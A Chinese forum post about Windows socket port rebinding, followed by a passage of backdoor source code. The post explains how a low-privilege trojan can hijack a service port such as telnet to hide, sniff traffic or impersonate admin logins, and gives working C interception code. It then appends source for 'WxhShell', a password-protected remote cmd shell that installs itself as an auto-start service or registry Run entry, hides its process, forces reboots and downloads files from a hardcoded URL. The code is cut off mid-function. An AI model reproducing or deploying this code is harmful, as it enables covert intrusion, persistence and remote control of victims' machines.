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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: y9<Fv|Ric  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); + k:?;ZG  
mYX) =B{  
  saddr.sin_family = AF_INET; $Yc9><i  
^f]pK&MAmN  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 1jVcL)szU  
u>#'Y+7  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); N"y4#W(Z@  
MG>;|*$%  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ,//=yW  
=G6@:h=  
  这意味着什么?意味着可以进行如下的攻击: #n r1- sf|  
M$9h)3(B  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Bw[VK7  
r>o6}Mx$  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Vo[4\h#$  
2T5ZbXc+x  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 *ni|I@8  
k=}hY+/=  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  $_kU)<e3  
uI/ A_  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 LLiX%XOh  
Yw0@O1Cel  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 M`'2 a  
!hUyX}{`j  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 f 5Oh#  
,fRb6s-  
  #include g^FH[(P[G  
  #include 2t<CAKBB  
  #include )1le-SC  
  #include    l"CONzm!  
  DWORD WINAPI ClientThread(LPVOID lpParam);   |Sm/Uq(c  
  int main() 8qveKS]vZ  
  { `PfC:L  
  WORD wVersionRequested; ]vMft?  
  DWORD ret; x`&W[AA4  
  WSADATA wsaData; }$jIvb,3?  
  BOOL val; `^ok5w"oi  
  SOCKADDR_IN saddr; J%'|IwA  
  SOCKADDR_IN scaddr; t[Q\T0E  
  int err; wW~2]*n  
  SOCKET s; PoZBiw@  
  SOCKET sc; r>\.b{wI  
  int caddsize; A[MEtI=Q J  
  HANDLE mt; F2=97 =R  
  DWORD tid;   cxV3Vrx@A  
  wVersionRequested = MAKEWORD( 2, 2 ); '"Gi&:*nQ<  
  err = WSAStartup( wVersionRequested, &wsaData ); ko$R%W&T  
  if ( err != 0 ) { =8-e1R/  
  printf("error!WSAStartup failed!\n"); /DCUwg=0  
  return -1; T=vI'"w  
  } NG ~sE&,7  
  saddr.sin_family = AF_INET; XOMWqQr|  
   lx SGvvP4  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 .E(Ucnz/  
q=U=Y n  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); fy5)Tih%.*  
  saddr.sin_port = htons(23); 4[D@[k As  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #"l=Lv  
  { KVBz=  
  printf("error!socket failed!\n"); :s\s3#?  
  return -1; ^Ue>T 8  
  } W;7cF8fu4  
  val = TRUE; lOZZ-  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 PYGHN T  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ~7|z2L  
  { ^<c?Ire  
  printf("error!setsockopt failed!\n"); K2JS2Y]  
  return -1; <#sK~G  
  } x\WKsc  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ``{xm1GK  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 GI/o!0"_  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 70@:!HI]  
S:wmm}XQ  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) kN )P-![  
  { U<$|ET'  
  ret=GetLastError(); yd $y\pN=<  
  printf("error!bind failed!\n"); t5S S]  
  return -1; ~_Aclm?  
  } N]3XDd|q  
  listen(s,2); ==& =3  
  while(1) ]'Bz%[C)  
  { NeYj[Q~xy  
  caddsize = sizeof(scaddr); 8WMC ~  
  //接受连接请求 #~"jo[  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); WE\V<MGS/  
  if(sc!=INVALID_SOCKET) c(fwl`y !x  
  { ?o2L  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); C.eZcNJG  
  if(mt==NULL) b$hQB090  
  { 'Q# KjY  
  printf("Thread Creat Failed!\n"); ].eGsh2  
  break; i -+B{H  
  } >5\rU[H>  
  } j:g/[_0s  
  CloseHandle(mt); tq{ aa  
  } w;XXjT  
  closesocket(s); ffdyDUzQ  
  WSACleanup(); O:4.xe  
  return 0; -g~$HTsGm  
  }   @AJt/wPk  
  DWORD WINAPI ClientThread(LPVOID lpParam) 8d-_'MXk3  
  { N7XRk= J  
  SOCKET ss = (SOCKET)lpParam; Y:O%xtGi  
  SOCKET sc; g94NU X  
  unsigned char buf[4096]; DF<_Ns!  
  SOCKADDR_IN saddr; vb# d%1b5  
  long num; UhNeY{6  
  DWORD val; *x$\5;A  
  DWORD ret; rQU;?[y  
  //如果是隐藏端口应用的话,可以在此处加一些判断 WlU5`NJl]2  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   n<MH\.!tM  
  saddr.sin_family = AF_INET; Xr-eDUEi  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); HA| YLj?|g  
  saddr.sin_port = htons(23); y 2bZo'Z  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) dI3U*:$X  
  { )tB mSVprl  
  printf("error!socket failed!\n"); R4{2+q=0  
  return -1; )]'?yS"  
  } 13Q|p,^R  
  val = 100; ^$VOC>>9  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) E}UlQq  
  { l.Iov?e1S  
  ret = GetLastError(); e4ym6q<6!  
  return -1; kO>F, M  
  } v@(Y:\>  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,onOwPz  
  { v!JQ;OX  
  ret = GetLastError(); BxVo>r  
  return -1; 0rP`BK|  
  } bS[;d5  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 'tm%3` F  
  { T*e>_\Tx  
  printf("error!socket connect failed!\n"); S3l$\X;6X  
  closesocket(sc); }&M$  
  closesocket(ss); eD2u!OKW!  
  return -1; D-J G0.@  
  } Fg;V6s/>ts  
  while(1) b ;A(6^V  
  { uczOSd  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 '[g@A>xDvW  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 VPBlU  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ZUPlMHc  
  num = recv(ss,buf,4096,0); pCb3^# &o  
  if(num>0) /Sy:/BQ  
  send(sc,buf,num,0); _\uyS',  
  else if(num==0) /i.3v45t"  
  break; V/"P};n  
  num = recv(sc,buf,4096,0); ancs  
  if(num>0) X] cI ?  
  send(ss,buf,num,0); I@ "%iYL  
  else if(num==0) ~?`V$G=?,  
  break; _8]hn[  
  } f sRRnD  
  closesocket(ss); M@%$9N)gd  
  closesocket(sc); KElzYZl8  
  return 0 ; v 9\2/B  
  } h' #C$i  
i^ `]TOP  
^FJ .C|l(  
========================================================== F-0|&0  
AT$eTZ]M  
下边附上一个代码,,WXhSHELL bruM#T@}  
':Avh|q3N  
========================================================== gK7bP'S8H  
St 4YNS.|  
#include "stdafx.h" yCC.j%@  
kIR?r0_<G6  
#include <stdio.h> *%6NuZ  
#include <string.h> E3%:7MB  
#include <windows.h> Tp-<!^o4  
#include <winsock2.h> fjGY p  
#include <winsvc.h> %z9eVkPI~  
#include <urlmon.h> ?7n(6kmj4Q  
uj 6dP  
#pragma comment (lib, "Ws2_32.lib") G3r9@ 2OC  
#pragma comment (lib, "urlmon.lib") 01~&H8 =  
~Q4 emgBD  
#define MAX_USER   100 // 最大客户端连接数 [3&Y* W  
#define BUF_SOCK   200 // sock buffer * }\}@0%  
#define KEY_BUFF   255 // 输入 buffer #*r u*  
;G 27S<Q  
#define REBOOT     0   // 重启 3JnBKh\n  
#define SHUTDOWN   1   // 关机 Dj0`#~  
%#g9d  
#define DEF_PORT   5000 // 监听端口 9#C hn~ \  
e(t,~(  
#define REG_LEN     16   // 注册表键长度 8~q%H1[I\N  
#define SVC_LEN     80   // NT服务名长度 ;ndsq[k>  
<Vu/6"DP  
// 从dll定义API {Ftz4y)6  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); cU`sA_f  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); n+Bh-aV  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); fYv= yP~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); F?>rWP   
_DlkTi5(w  
// wxhshell配置信息 4|PNsHXt  
struct WSCFG { %(72+B70R  
  int ws_port;         // 监听端口 <0?h$hf4c  
  char ws_passstr[REG_LEN]; // 口令 7J:zIC$u>  
  int ws_autoins;       // 安装标记, 1=yes 0=no lL6 bIjf  
  char ws_regname[REG_LEN]; // 注册表键名 u>e4;f`F  
  char ws_svcname[REG_LEN]; // 服务名 1#o>< ?  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 7soiy A  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *cNqgw#\qL  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *C>B-j$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no b ] W^_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `F)Q=  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 eYJ6&).F  
Y%1 J[W  
}; 6L`{oSX!  
Q $wa<`  
// default Wxhshell configuration _!m_s5{  
struct WSCFG wscfg={DEF_PORT, =SY5E{`4p  
    "xuhuanlingzhe", OB-2xmZW  
    1, yW3X<  
    "Wxhshell", X[F<sxw  
    "Wxhshell", XI>|"*-l  
            "WxhShell Service", #+X|,0p  
    "Wrsky Windows CmdShell Service", 2 d%j6D  
    "Please Input Your Password: ", IIn0w2:i  
  1, .Fdqn?c|+  
  "http://www.wrsky.com/wxhshell.exe", Q"2t :  
  "Wxhshell.exe" BPFd'- O)  
    }; UD 0v ia  
N;)Y+amg^  
// 消息定义模块 h"b;e2  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; GQZLOjsop  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ?k6P H"M  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >o\s'i[  
char *msg_ws_ext="\n\rExit."; =x8F!W}Bt<  
char *msg_ws_end="\n\rQuit."; AYB =iLa  
char *msg_ws_boot="\n\rReboot..."; 8A|{jH74  
char *msg_ws_poff="\n\rShutdown..."; 0)c9X[sG  
char *msg_ws_down="\n\rSave to "; C&d%S|:IR  
\dIc_6/D1  
char *msg_ws_err="\n\rErr!"; !>%U8A  
char *msg_ws_ok="\n\rOK!"; ]6PX4oK_t  
A (:7q4  
char ExeFile[MAX_PATH]; %TO=]>q  
int nUser = 0; %D::$,;<<  
HANDLE handles[MAX_USER]; ^iWcuh_n  
int OsIsNt; Y5J}*`[Mr  
,d^ze=  
SERVICE_STATUS       serviceStatus; &3jq'@6  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; T2;%@Ghc  
hWzjn5w3  
// 函数声明 j\,HquTR  
int Install(void); 37 #|X*L  
int Uninstall(void); KK}?x6wV0,  
int DownloadFile(char *sURL, SOCKET wsh); =N _7DT  
int Boot(int flag); P|rsq|',  
void HideProc(void); @@!Mt~\  
int GetOsVer(void); h"mG\xi  
int Wxhshell(SOCKET wsl); 41pk )8~pt  
void TalkWithClient(void *cs); l~f>ve|  
int CmdShell(SOCKET sock); 81O\BO.T  
int StartFromService(void); u!&w"t61Nd  
int StartWxhshell(LPSTR lpCmdLine); OHz>B!`  
/zB;1%m-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); H(eGqVAq,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); tb%u<jY  
uxbDRlOS  
// 数据结构和表定义 |*~=w J_  
SERVICE_TABLE_ENTRY DispatchTable[] = Jd].e=]pN  
{ kG =nDy  
{wscfg.ws_svcname, NTServiceMain}, -uho;  
{NULL, NULL} kh11Y1Q0d  
}; w|~d3]BqT  
nG0Uv%?{pj  
// 自我安装 DXbzl +R  
int Install(void) 2r3]DrpJ  
{ -jBk  
  char svExeFile[MAX_PATH]; mw^Di  
  HKEY key; SUSam/xeg"  
  strcpy(svExeFile,ExeFile); <"SDU_<xG  
UfE41el:  
// 如果是win9x系统,修改注册表设为自启动 f zu#!  
if(!OsIsNt) { ?q}XD c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9u3~s <  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); EYe)d+E*  
  RegCloseKey(key); 2TR l @  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &4aY5y`8+f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qr5ME/)z  
  RegCloseKey(key); h q5=>p  
  return 0; pq \M;&  
    } /+FZDRf!r  
  } fz)i9D@  
}  Bld%d:i  
else { Jk$XL<t  
<Pg]V:=g'  
// 如果是NT以上系统,安装为系统服务 9.bMA<X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); x]({Po4  
if (schSCManager!=0) oXCZpS  
{ EYwDv4H,g  
  SC_HANDLE schService = CreateService %-zAV*>  
  ( 8vN}v3HV&  
  schSCManager, 9*?H/iN@p?  
  wscfg.ws_svcname, T<p,KqH  
  wscfg.ws_svcdisp, B{ i5UhxD  
  SERVICE_ALL_ACCESS, aLwd#/!  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !&~8j7{  
  SERVICE_AUTO_START, ?V6+o`bm  
  SERVICE_ERROR_NORMAL, MoKGnb  
  svExeFile, G4!$48  
  NULL, (#w8/@JxF  
  NULL, J- %YmUc)  
  NULL, UOWOOdWS B  
  NULL, *{5L*\AZ  
  NULL X%+FM]  
  ); zTFfft<  
  if (schService!=0) -0KQR{LI  
  { *^'$YVd#  
  CloseServiceHandle(schService); _$OhV#LKG  
  CloseServiceHandle(schSCManager); d|,,,+fS  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); jg ~;s  
  strcat(svExeFile,wscfg.ws_svcname); 3I)!.N[m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8]DN]\\o  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); mp_(ke  
  RegCloseKey(key); 1dhp/Qh  
  return 0; By3/vb)M5  
    } (t.pM P4  
  } yFt'<{z[nL  
  CloseServiceHandle(schSCManager); cZ(7/Pl  
} 0:(`t~  
} _8Si8+j  
dXKv"*7l  
return 1; 8aCa(Xu(H  
} y{Wtm7fnA  
AHws5#;$6*  
// 自我卸载 G0sg\]  
int Uninstall(void) C[j'0@~V:B  
{  T)o)%Yv  
  HKEY key; ;SBM7fwRk  
@Q"%a`mKH  
if(!OsIsNt) { ^s@?\v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~lx5RTkp  
  RegDeleteValue(key,wscfg.ws_regname); wW4/]soM  
  RegCloseKey(key); S.o@95M   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { opz.kP[e,  
  RegDeleteValue(key,wscfg.ws_regname); H6<\7W89y  
  RegCloseKey(key); uJ S+;H  
  return 0; }r&^*" 2=  
  } A9lnQCsJ  
} Sd]`I)  
} -I1Ne^DZn4  
else { Pnb?NVP!^9  
Y(WX`\M97  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); YoD1\a|  
if (schSCManager!=0) cad%:%p  
{ Ez^U1KKOE7  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /*Z ,i&eC  
  if (schService!=0) xbex6i"ZE  
  { u1y c  
  if(DeleteService(schService)!=0) { X*F#=.lh  
  CloseServiceHandle(schService); W M/pP?||  
  CloseServiceHandle(schSCManager); dMsX}=EI<  
  return 0; Aa* UV6(v  
  } M*)}F  
  CloseServiceHandle(schService); B7qm;(?X&  
  } +{ QyB  
  CloseServiceHandle(schSCManager); umXa   
} /nEh,<Y)  
} ;o;P2}zD  
XW6>;:4k  
return 1; PTe8,cD>  
} &?(r# T  
YPAMf&jEF  
// 从指定url下载文件 H"4^  
int DownloadFile(char *sURL, SOCKET wsh) %WrUu|xj>_  
{ < J=9,tv<  
  HRESULT hr; |$`LsA.  
char seps[]= "/"; m(nGtrQJm  
char *token; V7u;"vD  
char *file; T78`~-D4<  
char myURL[MAX_PATH]; l]whL1N3  
char myFILE[MAX_PATH]; TD+V.}  
2<Pi2s'  
strcpy(myURL,sURL); vMJv.O>HW  
  token=strtok(myURL,seps); tk4~ 8  
  while(token!=NULL) yG?,8!/]  
  { bit&H  
    file=token; //VgPl  
  token=strtok(NULL,seps); +*[lp@zU{  
  } lmb5Z-xB  
qp>O#tj[  
GetCurrentDirectory(MAX_PATH,myFILE); |yiM7U,i  
strcat(myFILE, "\\"); t&(}`W  
strcat(myFILE, file); C|c'V-f  
  send(wsh,myFILE,strlen(myFILE),0); d^X;XVAvP  
send(wsh,"...",3,0); UJ1Ui'a(!!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); D0,U2d  
  if(hr==S_OK) hVRpk0IJDK  
return 0; #KZ6S9>@  
else Ji  SJi?  
return 1; g W'aK>*c  
9J_lxy}  
} X b-q:{r1h  
I,D24W4l  
// 系统电源模块 G"0YCi#I|  
int Boot(int flag) `,~I*}T>5W  
{ Kx?3]  
  HANDLE hToken; Ia:n<sZU  
  TOKEN_PRIVILEGES tkp; 7Zp'}Om<I  
g7@G&Ro9J\  
  if(OsIsNt) { Cul^b_UmP#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); TFWV(<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); XRVE8v+  
    tkp.PrivilegeCount = 1; /02|b}{  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )r-t$ L  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); uiDK&@RS  
if(flag==REBOOT) { 9vT@ mqKu  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^2OBc  
  return 0; U/&!F  
} xN0n0  
else { A!&p,KfT5+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2MmqGB}YcW  
  return 0; UOH2I+@V  
} 5+dQGcE@  
  } V*SKWP  
  else { +=hiLfnE  
if(flag==REBOOT) { M >Yx_)<U  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4AB7uw  
  return 0; )~;=0O |X  
} W}V L3s  
else { T(K~be  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) j K?GB  
  return 0; c.m8~@O5+  
} j`Fsr?]/  
} />_Mz  
?e9Acc`G5  
return 1; 1 *'SP6g  
} vtG_ A{l  
 )]L:OE  
// win9x进程隐藏模块 IZBU<1M  
void HideProc(void) p't>'?UH|  
{ |,L_d2lb  
gJ cf~@s  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5mdn77F_  
  if ( hKernel != NULL ) 6j@3C`Yd  
  { "P`V|g  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); F)g.CDQ!c  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {0F\Y+  
    FreeLibrary(hKernel); poj@ G{  
  } 4ihv|%@  
%YLdie6c  
return; .^8 x>~  
} $]EG|]"Ns  
XzGPBi  
// 获取操作系统版本 2V7x  
int GetOsVer(void) `=^;q 6f  
{ 8?!=/Sc  
  OSVERSIONINFO winfo; oUXu;@l  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5xL%HX[S  
  GetVersionEx(&winfo); 5CH9m[S  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #jn6DL@[{  
  return 1; Lw<?e;  
  else w?]k$  
  return 0; %4?  
} `!Ei H<H}  
I `:nb  
// 客户端句柄模块 JPW+(n|g  
int Wxhshell(SOCKET wsl) [3h~y7  
{ 6=a($s!   
  SOCKET wsh; 26un=  
  struct sockaddr_in client; 0@z=0}0Z  
  DWORD myID; w%;Z`Xn&u  
}@Lbv aa  
  while(nUser<MAX_USER) vUh.ev0  
{ *#{[9d  
  int nSize=sizeof(client); kb{h`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 67Rsd2   
  if(wsh==INVALID_SOCKET) return 1; % FW__SN$c  
rld4uy}m  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ycB>gd  
if(handles[nUser]==0) [ah%>&u  
  closesocket(wsh); HV ab14}E  
else 'p,QI>  
  nUser++; 'aMT^w4if)  
  } 7JNhCOBB  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); W#!![JDc  
-I4-K%%B`  
  return 0; LyRto  
} _UKH1qUd4  
1~NXCIdF  
// 关闭 socket ) '"@ L7U  
void CloseIt(SOCKET wsh) W zYy<  
{ ]etLobV  
closesocket(wsh); v`#T)5gl-  
nUser--; z 3)pvX5  
ExitThread(0); ?zp@HS a9  
} IBm&a^  
:c%vl$  
// 客户端请求句柄 //*>p  
void TalkWithClient(void *cs) _D7MJT  
{ l}B,SkP^  
2ijw g~_@  
  SOCKET wsh=(SOCKET)cs; !/O c)Yk  
  char pwd[SVC_LEN]; rf1Us2vp  
  char cmd[KEY_BUFF]; K~8;wDN`b  
char chr[1]; ]Ija,C!#  
int i,j; r#LoBfM;^A  
. fq[>zG'&  
  while (nUser < MAX_USER) { #"% ]1={b  
\Ku6 gEy  
if(wscfg.ws_passstr) { x"0*U9f  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wQiRj.  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z[:fqvXQ  
  //ZeroMemory(pwd,KEY_BUFF); s8iJl+Jm  
      i=0;  L>Bf}^  
  while(i<SVC_LEN) { r2H_)Oi  
~$ } `R=  
  // 设置超时 :{<( )gfk  
  fd_set FdRead; W _(  
  struct timeval TimeOut; Z|+SC \Y  
  FD_ZERO(&FdRead); Uv'.]#H<  
  FD_SET(wsh,&FdRead); GW a_^  
  TimeOut.tv_sec=8; "QA <5P  
  TimeOut.tv_usec=0; u (V4KUk  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); AA34JVm]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?z>ZsD  
44_7gOZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xh Sp<|X_  
  pwd=chr[0]; vG9A'R'P  
  if(chr[0]==0xd || chr[0]==0xa) { ,W"Q)cL  
  pwd=0; uTY5.8  
  break; Y%OE1F$6NN  
  } TGx:#x*k  
  i++; |pk1pV |  
    } D(6d#c  
QU0K'4Yx5j  
  // 如果是非法用户,关闭 socket GGHe{l  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); n)$T zND  
} ) 9h5a+Z  
':6!f  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); KZ^W@*`D  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); '#d`K.;_b.  
.r!:` 6  
while(1) { WMfu5x7e4  
/=co/}i  
  ZeroMemory(cmd,KEY_BUFF); 8d.5D&  
t. B %7e  
      // 自动支持客户端 telnet标准   +M th+qgw  
  j=0; \P% E1c#  
  while(j<KEY_BUFF) { zTb!$8D"g  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pcIJija:  
  cmd[j]=chr[0]; v~i/e+.h>y  
  if(chr[0]==0xa || chr[0]==0xd) { hQ`g B.DR  
  cmd[j]=0; ;KqH]h)  
  break; bm9@A]yP  
  } n`<YhV  
  j++; %|md0  
    } 3uA%1 E  
.zf#S0y%(  
  // 下载文件 aV3:wp]Gn  
  if(strstr(cmd,"http://")) { `PK1zSr  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); T^YdAQeE  
  if(DownloadFile(cmd,wsh)) iW\cLp "  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <}x_F)E[t  
  else cSy{*K{B  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d;UP|c>2  
  } KO/Z|I  
  else { I_xvg >i  
4A(kM}uRB  
    switch(cmd[0]) { *cn,[  
  ],{b&\  
  // 帮助 *k$&U3=  
  case '?': { R<aF;Rvb5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "{-jZdq'  
    break; *{|{T_H:  
  } mk#xbvvG  
  // 安装 &t1?=F,]  
  case 'i': { {w*5uI%%e  
    if(Install()) R/ 5aIh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); / *=1hF  
    else gB1w,96J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Tvf%'%h1  
    break; W9>q1  
    } L h"K"Uv  
  // 卸载 D9 `J||]E  
  case 'r': { OL|_@Fv`A  
    if(Uninstall()) O^(ji8[l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E _d^&{j  
    else MU2ufKq4)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GZgu1YR  
    break; tVJ}NI #  
    } D0Cs g39  
  // 显示 wxhshell 所在路径 2 t'^  
  case 'p': { &wc% mQV  
    char svExeFile[MAX_PATH]; ;`<uo$R  
    strcpy(svExeFile,"\n\r"); \d~sU,L;]  
      strcat(svExeFile,ExeFile); g_8Bhe"ik  
        send(wsh,svExeFile,strlen(svExeFile),0); ;w,+x 7  
    break; ,{=pFs2  
    } c zTr_>  
  // 重启 wWV`k  
  case 'b': { oGz-lO{lt  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ()L[l@m  
    if(Boot(REBOOT)) [:Kl0m7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q; DN*  
    else { (dZu&  
    closesocket(wsh); RK%N:!f q=  
    ExitThread(0); CSF-2lSG  
    } FJ]BB4 K  
    break; 6^ UQ{P1;  
    } 6;rJIk@Fx=  
  // 关机 z 3RD*3b  
  case 'd': { U1zcJ l^  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); m]t`;lr<  
